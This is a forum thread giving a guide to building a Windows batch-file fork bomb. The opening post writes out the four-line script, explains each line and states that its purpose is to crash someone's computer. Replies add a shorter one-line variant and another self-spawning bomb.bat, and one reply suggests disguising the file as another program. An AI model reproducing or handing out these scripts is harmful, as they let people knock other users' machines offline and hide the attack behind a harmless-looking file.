How to create a fork bomb.

There is a noticeable lack of fork-bomb guides on sythe, so I thought I'd make a guide. This guide only works on Windows operating systems.
A fork bomb is a program that will open itself forever, with every instance of it opening another one, generally causing a computer to crash quickly.

How to Make a Fork Bomb​

Step 1:
Open notepad, and type in the following:


Explanation of each line of code:

Code:

@echo off

This is not strictly necessary, but it prevents the command window from printing each other line of code that it executes.

Code:

:begin

This is basically a pointer (not the same as a pointer in Object Oriented programming).

Code:

start %0

Starts another instance of the program.

Code:

goto begin

Goes to the :begin pointer, causing an infinite loop.

Step 2:
Save the file. In save settings, change the "Save as type" from .txt to All files and name the program yourfilename.bat.


That's it!
Have fun.

 

Nice stuff.

Just to point out, Id take the dot off the end of the sentence you use with the file name, some retard will probably try to save the file as yourfilename.bat. and not yourfilename.bat

 

If they fail that hard it's probably better for them not to have made it XD

 

This guide is horribly short and uninteresting. All it contains is the code to make a bat window open constantly. You need to add more substance to the code and explain what you are doing.

You also may not to explain how this could be a good prank to pull on a friend because how it is right now it looks very malicious. You could add in how to disguise it as another program and such.

 

Why does the code need more substance? It's a fork bomb, it does what it does.
I'll go ahead and explain the 4 lines of code, I guess, though other guides don't necessarily explain their steps.

Nowhere do I say that this should be used as a prank on somebodies friend. I explain in the second sentence that the purpose is to easily crash someone's computer.
There are no free options for disguising bat files, so I decided to skip that step. Any antivirus worth the name will identify programs that have double extensions.

 

You could expand upon that with different methods for achieving the same task, which I'm assuming in this case is just causing an infinite loop.

Here is a much smaller piece of code to accomplish a similar task.

Code:

%0|%0

Simply save that as a .bat and watch it run.

It essentially is a process calling on itself which is calling on itself, and I think you get the point.

 

Yes, I know, but I figured this would be easier to understand/explain.

Thanks anyways =)

 

Thanks For this b0b, Im currently studying programming and its a challenging process, but the more knowledge we gain the more we learn, as a result of this guide I have learnt something thanks.

 

No problem!

I wouldn't consider this programming so much as being a script kiddie but most of us started there ^.^

 

Thanks
This can prove useful

 

No prob

 

@echo on
start bomb.bat
@echo off


Save it as "bomb.bat".

 

Hardcoding is pro.
Also looping makes it crash faster, obviously. =P
